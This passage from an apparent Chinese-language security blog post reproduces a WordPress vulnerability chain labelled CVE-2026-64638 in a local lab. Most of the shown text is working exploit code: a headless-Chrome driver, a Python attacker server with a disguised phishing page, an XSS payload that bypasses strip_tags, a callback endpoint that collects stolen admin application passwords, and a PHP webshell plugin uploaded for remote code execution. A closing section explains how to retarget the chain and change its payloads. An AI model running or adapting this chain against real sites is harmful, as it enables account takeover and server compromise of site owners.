const up = await fetch('/wp-admin/update.php?action=upload-plugin', { method: 'POST', body: fd }).then(r => r.text());
beacon('step=uploaded&installed=' + /Plugin installed successfully/.test(up));
// 4) 直接请求刚落地的 PHP —— 不需要"启用"插件
const res = await fetch('/wp-content/plugins/${PLUGIN_SLUG}/shell.php');
const txt = await res.text();
beacon('step=rce&payload=' + encodeURIComponent(txt.trim()));
} catch (e) {
beacon('step=error&msg=' + encodeURIComponent(e.message));
}
})();
</script>`;
step(4, "攻击者本机:用应用密码走 REST API 发布带脚本的页面");
const page = await attackerREST(appPassword, attackScript);
// ── 第 5 步:让管理员的浏览器去访问那个页面 —— 脚本在目标源上执行
step(5, "管理员浏览器打开被投毒的页面,页面脚本接管会话");
await navAndWait(cdp, sessionId, page.link);
info("页面里的脚本正在:抓 nonce → 取插件包 → 调 update.php 上传 → 请求 shell.php");
// ── 第 6 步:等 RCE 信标回来
step(6, "等待 RCE 信标");
// 这里要同时收两种记录,不能只看 rce 那一条。
// 原因:如果目标上**已经**存在上一次留下的 shell.php,
// 那么"上传插件"这一步就算失败,最后请求 shell.php 也照样能拿到 rce:true ——
// 链条会凭空宣布"打通"。实测踩过这个坑(第二次运行时 uploaded 的
// installed 字段是 false,但脚本仍然报了成功)。
// 所以成功判据必须是:**这次真的装上了** 并且 **shell 真的跑了**。
let rceRecord = null;
let uploadedRecord = null;
for (let i = 0; i < 40 && !(rceRecord && uploadedRecord); i++) {
await sleep(500);
const lines = fs.readFileSync(CAPTURE_LOG, "utf-8").split("\n").filter(Boolean);
for (const line of lines) {
try {
const rec = JSON.parse(line);
if (rec.step === "rce") rceRecord = rec;
if (rec.step === "uploaded") uploadedRecord = rec;
} catch {}
}
}
const installedFresh = uploadedRecord && String(uploadedRecord.installed) === "true";
console.log("");
console.log("=".repeat(72));
if (rceRecord && installedFresh) {
console.log("\x1b[32m完整链路打通:预认证 XSS → 管理员应用密码 → 插件上传 → PHP 执行\x1b[0m");
console.log("");
console.log(" shell.php 返回(在目标站自己的服务器上执行):");
console.log(" " + decodeURIComponent(rceRecord.payload || ""));
console.log("");
console.log(" 验证地址: " + TARGET + `/wp-content/plugins/${PLUGIN_SLUG}/shell.php`);
} else if (rceRecord) {
// 最容易被误判成成功的一种情况:有回显,但这次没装上。
console.log("\x1b[33m链条未真正打通 —— 回显是上一次留下的旧文件给的\x1b[0m");
console.log("");
console.log(" 上传插件这一步的返回值: installed=" + (uploadedRecord ? uploadedRecord.installed : "(没有记录)"));
console.log(" 但 shell.php 仍然返回了内容,说明目标上**早就**有同名文件。");
console.log(" 这类「有回显但没装上」的结果不能算打通 —— 它只证明了旧文件还在。");
console.log("");
console.log(" 处理办法:清掉残留再跑一次");
console.log(" docker exec " + (process.env.CONTAINER || "cve-2026-64638")
+ " rm -rf /var/www/html/wp-content/plugins/" + PLUGIN_SLUG);
} else {
console.log("\x1b[31m没等到 RCE 信标,检查攻击者站点日志\x1b[0m");
}
console.log("=".repeat(72));
// 把判定结果反映到退出码上。
// 只打印不报错的话,Python 侧会用 `rc != 0` 来判断成败,
// 于是"有回显但没装上"会被当成通过、接着去跑独立验证,
// 而独立验证又会因为旧文件而返回成功 —— 一个假阳性就变成了两个。
if (!(rceRecord && installedFresh)) process.exitCode = 1;
} finally {
try { chrome.kill("SIGKILL"); } catch {}
try { fs.rmSync(profile, { recursive: true, force: true }); } catch {}
}
}
main().catch((e) => {
console.error("\x1b[31m[失败]\x1b[0m " + e.message);
process.exit(1);
});

CDP 这个类只做了三件事(都在第 53 行开始的那一段里):

  • 构造函数:建 WebSocket,把 open / error / message / close 四个事件挂上。 close 那个处理是第七个坑(坑七)换来的 —— 它会把还没回包的请求全部 reject
  • send():给某个目标发一条命令,用自增 id 配对响应(JSON-RPC 的基本形态)
  • waitEvent():等某个事件,带超时。

main() 里还有一处值得单独看:第 187 行起的 stderrRing, 一个只保留最后 40 行的环形缓冲,把 Chrome 的 stderr 存着。 正常情况下它什么都不做;只有连接异常断开时才把最后 8 行附进报错。 这是坑七留下的”诊断能力”,不是多余代码 —— 没有它, 下次 Chrome 再崩一次,还是只会看到一句”连接已断开”。

超时是必要的 —— 链条依赖浏览器里的时序,等不到就得失败退出, 不能无限挂在那里。

用无头 Chrome 自动完成「管理员登录 → 访问攻击页 → 触发 XSS → 跨窗口点击『批准』→ 拿到应用密码」这一整条浏览器链。


attack/serve.py#

第 33 行 PLUGIN_SLUG —— 插件目录名(ZIP 里的顶层目录必须和它一致)
第 42 行 SHELL_PHP —— 恶意 PHP 的源码(含必需的 Plugin Name 头)
第 61 行 build_payload_zip —— 用标准库 zipfile 在内存里生成 ZIP
第 70 行 EVIL_PAGE —— 攻击页 HTML 模板
第 126 行 class Handler —— 路由:/evil.html、/payload.zip、/cb
第 172 行 main —— 启动服务并打印自检信息
#!/usr/bin/env python3
"""
CVE-2026-64638 复现 —— 攻击者站点(本地实验用)
作用:
在本地起一个极小的 HTTP 服务,充当"攻击者控制的那个第三方网站"。
它提供三样东西:
1. /evil.html 攻击页面(SOME + JSONP 的跨窗口点击逻辑)
2. /payload.zip 恶意插件包(页面里的脚本会把它传进目标站)
3. /cb 回调端点,接收被钓鱼的管理员浏览器重定向回来的应用密码,
以及页面脚本跑完后发回的 RCE 信标
为什么需要单独一个端口:
浏览器的同源策略按"协议 + 主机 + 端口"隔离。只有把攻击者页面放在
另一个端口(9099),它才是"外来站点",才能真实地演示跨站场景。
放在同一个端口就变成同源,整个演示失去意义。
只用标准库:http.server + zipfile,不依赖 Flask 等框架。
"""
import io
import sys
import json
import zipfile
import urllib.parse
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
# 攻击者服务器捕获到的数据,全部追加到这个文件,方便脚本读取
CAPTURE_FILE = "/tmp/cve-2026-64638-capture.log"
# 恶意插件的名字。注意目录名必须和 ZIP 里的顶层目录一致,
# 上传成功后 WordPress 会把它解到 wp-content/plugins/<这个名字>/
PLUGIN_SLUG = "pwn-plugin"
# shell.php 的内容。
# 两个要点:
# 1. 必须有 "Plugin Name:" 头部 —— WordPress 的上传器(Plugin_Upgrader::check_package)
# 会扫描压缩包里的 PHP 文件找这个头部,没有就直接判定"不是有效插件"并拒绝安装。
# 这是实际动手时最容易踩的坑(见 README 的踩坑章)。
# 2. 装完之后不需要启用(Activate),文件已经躺在 web 可访问的目录里,
# 直接请求 URL 就能执行 —— 这正是这条链危险的地方。
SHELL_PHP = """<?php
/**
* Plugin Name: Pwn Plugin
* Description: CVE-2026-64638 reproduction payload
* Version: 1.0.0
* Author: repro
*/
header('X-Pwned-By: CVE-2026-64638');
$info = array(
'rce' => true,
'cwd' => getcwd(),
'php_user' => get_current_user(),
);
$id = @shell_exec('id 2>&1');
$info['shell_exec'] = ($id === null || $id === false) ? 'disabled' : trim($id);
echo json_encode($info), "\\n";
"""
def build_payload_zip() -> bytes:
"""在内存里生成恶意插件 ZIP(标准库 zipfile,不落磁盘)"""
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as zf:
zf.writestr(f"{PLUGIN_SLUG}/shell.php", SHELL_PHP)
return buf.getvalue()
# 攻击页面的模板。__TARGET__ / __PAYLOAD_URL__ 会被替换成实际值。
EVIL_PAGE = """<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Free Screensaver Download</title>
</head>
<body>
<h1>Downloading...</h1>
<p>Please wait, do not close this tab.</p>
<script>
// ── 攻击参数 ────────────────────────────────────────────────
var TARGET = "__TARGET__"; // 目标 WordPress
var CB = location.origin + "/cb"; // 回调地址(就是我们自己)
var APP_ID = "c0ffee00-1234-5678-9abc-def012345678";
// ── 注入载荷 ────────────────────────────────────────────────
// 这就是要提交到 wp-login.php 的"用户名"。三个 < 后面都带一个空格,
// 这正是绕过 PHP strip_tags() 的关键(详见 README 的载荷拆解一节)。
// 注意:这里必须用字面的 & ,不能写 &amp; —— sanitize_user() 会把
// HTML 实体整段吃掉(wp-includes/formatting.php:2156),查询串就废了。
var PAYLOAD =
'< area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=window.opener.approve.click>'
+ '< div id=color-picker class=reset-pass-submit>'
+ '< button class="wp-generate-pw color-option">X';
// ── 第 1 步:开一个子窗口,把载荷表单预先写好 ────────────────
// 子窗口此时还是 about:blank,和本页同源,所以可以直接 document.write。
var child = window.open("about:blank", "victim");
child.document.write(
'<!doctype html><meta charset="utf-8">'
+ '<form id="poc" method="post" action="' + TARGET + '/wp-login.php">'
// 属性值用单引号包住,这样载荷里的双引号不用转义
+ '<input type="hidden" name="log" value=\\'' + PAYLOAD + '\\'>'
+ '<input type="hidden" name="pwd" value="x">'
+ '<input type="hidden" name="wp-submit" value="Log In">'
+ '</form>'
// 等 1.5 秒再提交,给主窗口留出跳转到授权页的时间
+ '<script>setTimeout(function(){ document.getElementById("poc").submit(); }, 1500);<\\/script>'
);
child.document.close();
// ── 第 2 步:把"主窗口"(opener)导航到 WordPress 的应用密码授权页 ──
// 这一步把管理员真实的登录会话"借"了过来:授权页上那个 id="approve" 的按钮,
// 就是后面要被远程点击的目标。
// 注意:本页执行完下面这行就跳走了,所以第 1 步必须先做完。
location = TARGET + "/wp-admin/authorize-application.php"
+ "?app_name=TotallyLegitApp"
+ "&app_id=" + APP_ID
+ "&success_url=" + encodeURIComponent(CB);
</script>
</body>
</html>
"""
class Handler(BaseHTTPRequestHandler):
server_version = "AttackerSite/1.0"
def log_message(self, fmt, *args):
sys.stderr.write("[attacker] %s - %s\n" % (self.address_string(), fmt % args))
def _send(self, code, body, ctype="text/html; charset=utf-8"):
raw = body if isinstance(body, bytes) else body.encode("utf-8")
self.send_response(code)
self.send_header("Content-Type", ctype)
self.send_header("Content-Length", str(len(raw)))
# 允许跨源读取:目标站里被注入的脚本要跨端口把插件包 fetch 回去
self.send_header("Access-Control-Allow-Origin", "*")
self.end_headers()
self.wfile.write(raw)
def do_GET(self):
parsed = urllib.parse.urlparse(self.path)
path, qs = parsed.path, urllib.parse.parse_qs(parsed.query)
if path in ("/", "/evil.html", "/index.html"):
target = qs.get("t", ["http://127.0.0.1:8088"])[0].rstrip("/")
self._send(200, EVIL_PAGE.replace("__TARGET__", target))
return
if path == "/payload.zip":
self._send(200, build_payload_zip(), "application/zip")
return
if path == "/cb":
record = {k: v[0] for k, v in qs.items()}
with open(CAPTURE_FILE, "a", encoding="utf-8") as fh:
fh.write(json.dumps(record, ensure_ascii=False) + "\n")
sys.stderr.write("\n" + "=" * 62 + "\n")
sys.stderr.write("[attacker] *** 收到回调 ***\n")
for k, v in record.items():
sys.stderr.write("[attacker] %-10s = %s\n" % (k, v))
sys.stderr.write("=" * 62 + "\n\n")
self._send(200, "<h1>Thanks for installing our screensaver.</h1>")
return
self._send(404, "<h1>404</h1>")
def main():
port = int(sys.argv[1]) if len(sys.argv) > 1 else 9099
# 启动时先把 ZIP 生成一次,顺便验证它能正常打开
z = build_payload_zip()
with zipfile.ZipFile(io.BytesIO(z)) as zf:
names = zf.namelist()
sys.stderr.write("[attacker] 恶意插件包已生成:%d 字节,内含 %s\n"
% (len(z), ", ".join(names)))
srv = ThreadingHTTPServer(("127.0.0.1", port), Handler)
sys.stderr.write("[attacker] 攻击者站点已启动: http://127.0.0.1:%d/evil.html\n" % port)
srv.serve_forever()
if __name__ == "__main__":
main()

两个要点:

  • 所有响应都带 Access-Control-Allow-Origin: *。因为投毒页面在 8088 上, 要跨端口把插件包从 9099 取回来,不开 CORS 拿不到可读的 Blob
  • 服务监听 127.0.0.1 而不是 0.0.0.0。只在本地可达, 局域网里的其他设备访问不到

可以改的变量#

按需求从小到大:

  • 换目标:xss2shell.py check --target http://别的地址
  • 换注入点:改 PAYLOAD_RCE(xss2shell.py:57)和 attack/serve.py 里 EVIL_PAGE 的 var PAYLOAD = ...,两处必须同步改
  • 换 JSONP 回调:把载荷里的 _jsonp= 值改掉。 想验证”能不能调用任意全局函数”,改成 _jsonp=alert 最直观
  • 换 webshell 内容:改 attack/serve.py 的 SHELL_PHP。 改完记得保留 Plugin Name: 头部
  • 换浏览器:CHROME 环境变量,或者 --node 指定别的 node
  • 看中间过程:浏览器链支持 --debug-port,指定端口后可以 用真实 Chrome 打开 http://127.0.0.1:<端口> 手工接管调试
  • 目标不在本地容器里:chain --container "" 跳过开跑前的清场, 但这时重复运行可能拿到”旧文件给的假成功”,记得自己确认(坑八)

动哪个要格外小心:

  • PAYLOAD_RCE 里三个 "< " 的空格不能删,删了整条链就没了
  • href 里的 & 必须是裸 &,不能写成 &amp;(第八节坑一)
  • SHELL_PHP 的 Plugin Name: 注释头不能删(第八节坑二)
  • build_payload_zip 里 ZIP 的顶层目录名必须和 PLUGIN_SLUG 一致, 否则解出来的路径和脚本请求的 URL 对不上

结语#

不是哥们我以前的网站这么容易就没啦!!!

文章分享

如果这篇文章对你有帮助,欢迎分享给更多人!

Profile Image of the Author
LYH
LYH,安全方向的在校学生。方向集中在 Web 安全和密码学——Web 这边从 webshell 识别、文件包含到注入类题目都在练,密码学在啃 RSA 和格密码相关的内容,逆向和网络也有涉猎。日常工具链是 Mac + Docker。欢迎交流学习!
公告
欢迎来到我的博客!这里展示我的学习过程与结果。
音乐
封面

音乐

暂未播放

0:00 0:00
暂无歌词
分类
站点统计
文章
26
分类
13
标签
19
总字数
180,600
运行时长
0 天
最后活动
0 天前

文章目录